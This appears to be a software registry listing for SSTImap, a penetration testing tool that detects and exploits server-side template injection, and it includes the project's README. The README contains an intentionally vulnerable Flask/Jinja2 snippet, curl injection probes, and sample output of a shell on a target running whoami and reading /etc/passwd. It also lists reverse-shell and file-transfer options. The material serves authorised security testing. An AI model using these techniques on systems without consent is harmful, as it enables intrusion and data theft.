SSTImap is a free, open source threat detection & response project written in Python and released under GPL-3.0. It has 1,704 GitHub stars, 201 forks and 13 open issues, and was last pushed 2 months ago. On this registry it ranks #49 of 64 tracked projects in Threat Detection & Response, with 5 head-to-head comparisons available.

What is SSTImap?

SSTImap is an open-source, GPL-3.0-licensed Python penetration testing tool that automatically detects and exploits server-side template injection (SSTI) and code injection vulnerabilities in web applications, built for penetration testers and security professionals who need an interactive interface for detection and exploitation.

What it is

SSTImap is a penetration testing application written in Python and released under the GPL-3.0 licence, currently at version 1.4. It is based on Tplmap and lives in the Python security tooling ecosystem, tagged across the registry under information-security, penetration-testing, pentest, pentest-tool and pentesting topics alongside ssti and rce. Its stated purpose is to check websites for code injection and server-side template injection vulnerabilities and then exploit them, giving access to the operating system itself. The tool was developed to be used as an interactive penetration testing instrument for SSTI detection and exploitation, a design choice the project says allows for more advanced exploitation than a purely automated pass.

The concrete problem it addresses is the class of bug illustrated in its own README: a Flask application that concatenates a user-supplied variable into a template string before rendering with Jinja2. A request containing {{7*7}} that comes back as 49 confirms the injection, and the same channel can be pushed further toward code execution. SSTImap automates that probing and exploitation instead of leaving the tester to hand-craft payloads per engine. It is capable of exploiting some code context escapes and blind injection scenarios, and it supports eval()-like code injections in Java, JavaScript, PHP, Python, Ruby and generic unsandboxed template engines. It is the successor in practice to Tplmap, though backwards compatibility with Tplmap is explicitly not provided.

Key capabilities

  • Interactive mode (-i) for exploitation and detection, which the project lists as a key difference from Tplmap.
  • Base-language eval()-like shell execution via -x, or single command execution via -X.
  • Generic evaluating template injection detection through the Eval_generic module, with --generic payloads available to test all contexts.
  • Two additional SSTI detection and exploitation techniques beyond those in Tplmap.
  • Blind file upload with MD5 confirmation and a file existence check.
  • Crawling and form detection, plus support for different POST data types.
  • A modular plugin structure that allows additional plugin installation, and simple evaluation payloads used as response markers when a payload is reflected.

Who uses it and how

  • Penetration testers assessing web applications built on template engines, using the Flask and Jinja2 example in the README as the canonical case.
  • Engagements where blind injection is suspected, relying on the blind file upload path with its MD5 confirmation and file existence check.
  • Red team work that needs to move from a template injection to operating system access, using the interactive shell (-x) or single command (-X) execution modes.
  • Testers who need more payloads than ship with the tool, drawing on the separate vladko312/extras repository referenced by the project.
  • Existing Tplmap users, with the caveat that backwards compatibility is not provided, several command line arguments were changed, and -h should be consulted for the current interface.

Getting started

The README does not name a package, Docker image, compose file or hosted service; SSTImap is distributed as source and run directly with Python, with version badges indicating Python 3.6 and later. New users should consult -h for help, since several old command line arguments were changed and short versions were added for many others.

How it compares

The only comparable tool named in the facts is Tplmap, the project SSTImap is based on. SSTImap keeps no backwards compatibility with it, adds two new detection and exploitation techniques, an interactive mode, generic template payloads, a plugin structure and updated payloads, while its Burp Suite extension has been temporarily removed because Jython does not support Python 3. No list of paid products it replaces is provided in the facts.

When to use it — and when not to

This is an exploitation tool that can hand an operator access to the target operating system, so it belongs only in authorised penetration testing and assessment engagements. Anyone relying on the Burp Suite integration should look elsewhere for now, since that extension has been temporarily removed, and teams with existing Tplmap automation should expect to rewrite it because command line arguments changed and no backwards compatibility is offered. The README also does not document a packaged or containerised distribution, so a user must run it from source with a suitable Python 3.6+ environment.

project readme (upstream, from github) — read inline

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

This project is based on Tplmap.

SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.

This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation. More payloads for SSTImap can be found here.

Payloads and techniques came from:

This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports eval()-like code injections in Java, JavaScript, PHP, Python, Ruby and generic unsandboxed template engines.

Key differences with Tplmap

Even though this software is based on Tplmap's code, backwards compatibility is not provided.

  • Added two new techniques for SSTI detection and exploitation
  • Interactive mode (-i) allowing for easier exploitation and detection
  • Simple evaluation payloads as response markers in case of payload reflection
  • Added new payloads for generic templates, to test all contexts use --generic
  • Generic evaluating template injection detection using Eval_generic module
  • Base language eval()-like shell (-x) or single command (-X) execution
  • Blind file upload now supports MD5 confirmation and file existence check
  • Added new payloads for more templates and updated many existing payloads
  • Modular plugin structure that allows additional plugin installation
  • Support for different POST data types
  • Added crawling and form detection
  • Short versions added to many arguments
  • Some old command line arguments were changed, check -h for help
  • Code is changed to use newer python features
  • Burp Suite extension temporarily removed, as Jython doesn't support Python3

Server-Side Template Injection

This is an example of a simple website written in Python using Flask framework and Jinja2 template engine. It integrates user-supplied variable name in an unsafe way, as it is concatenated to the template string before rendering.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

User-supplied input should be introduced in a safe way through rendering context:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Predetermined mode

SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates.

After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations.

To check the URL, you can use -u argument:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Use --os-shell option to launch a pseudo-terminal on the target.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

To get a full list of options, use --help argument.

Interactive mode

In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use -i argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings.

Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial -u argument or url command. After that, you can use run command to check URL for SSTI.

If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use Ctrl+C to abort them without stopping a program.

By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time.

To get a full list of interactive commands, use command help in interactive mode.

Supported template engines

SSTImap supports multiple template engines and eval()-like injections.

New payloads are welcome in PRs. Check out the tips to speed up development.

Engine RCE Tech Language Type
Freemarker ✓ REBT Java Default
Java generic EL injections ✓ REBT Java Default
OGNL (Object-Graph Navigation Language code eval) ✓ REBT Java Default
Velocity ✓ REBT Java Default
Nunjucks ✓ REBT JavaScript Default
Velocity.js ✓ REBT JavaScript Default
JavaScript (code eval) ✓ REBT JavaScript Default
JavaScript-based generic templates ✓ REBT JavaScript Default
Twig (>=1.41; >=2.10; >=3.0) ✓ REBT PHP Default
PHP (code eval) ✓ REBT PHP Default
PHP-based generic templates ✓ REBT PHP Default
Jinja2 ✓ REBT Python Default
Python (code eval) ✓ REBT Python Default
Python-based generic templates ✓ REBT Python Default
ERB ✓ REBT Ruby Default
Mustache (<=1.1.2; detection only) × reb_ Ruby Default
Slim ✓ REBT Ruby Default
Ruby (code eval) ✓ REBT Ruby Default
Generic evaluating templates × Reb_ * Default
SpEL (Spring EL code eval) ✓ REBT Java Generic
doT ✓ REBT JavaScript Generic
EJS ✓ REBT JavaScript Generic
Marko ✓ REBT JavaScript Generic
Pug ✓ REBT JavaScript Generic
Smarty ✓ REBT PHP Generic
Cheetah ✓ REBT Python Generic
Mako ✓ REBT Python Generic
Tornado ✓ REBT Python Generic
Dust (<= dustjs-helpers@1.5.0) ✓ REBT JavaScript Legacy
Twig (<=1.19.0) ✓ REBT PHP Legacy
Pybars3 / Pybars4 ✓ REBT Python Legacy
Templite ✓ REBT Python Legacy
SSI (Server-Side Includes injection) ✓ R__T SSI Legacy
Obscure evaluating syntaxes × Reb_ * Legacy
CVE-2025-1302 ✓ REBT JavaScript Extra
CVE-2025-13204 ✓ REBT JavaScript Extra
CVE-2022-23614 ✓ REBT PHP Extra
CVE-2024-6386 ✓ REBT PHP Extra
CVE-2026-46640 ✓ REBT PHP Extra

Techniques: (R)endered, (E)rror-based, (B)oolean error-based blind and (T)ime-based blind; Lowercase letter marks partially supported technique

More plugins and payloads can be found in SSTImap Extra Plugins repository.

Burp Suite Plugin

Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided.

Future plans

If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors.

  • Add more payloads for different engines
  • Make plugins less dependent on base plugins
  • Parse raw HTTP request from file
  • Variable dumping functionality
  • Blind/side-channel value extraction
  • Better documentation (or at least any documentation)
  • Short arguments as interactive commands?
  • JSONL/plaintext API modes for scripting integrations?
  • Better integration for Python scripts
  • Multipart POST data type support
  • Modules for more customisable requests (second order, reset, non-HTTP)
  • Payload processing scripts
  • Better config functionality
  • Saving found vulnerabilities
  • Reports in HTML or other format
  • Multiline language evaluation?
  • Avoid platform dependency in payloads
  • Test multiple shells in exec-based RCE scenarios
  • Update NodeJS payloads as process.mainModule may be undefined
  • Spider/crawler automation (by fantesykikachu)
  • Automatic languages and engines import
  • More POST data types support
  • Make template and base language evaluation functionality more uniform
  • Argument to remove escape codes?

Frequently asked questions

Is SSTImap free to use?

SSTImap is open source under the GPL-3.0 licence. There is no licence fee and no seat count — you can self-host it or, where the project offers one, pay a vendor for a managed version instead.

What does SSTImap do?

Automatic SSTI detection tool with interactive interface

What is SSTImap written in?

SSTImap is primarily written in Python. Its source is publicly available at https://github.com/vladko312/SSTImap, and it has 1,704 GitHub stars.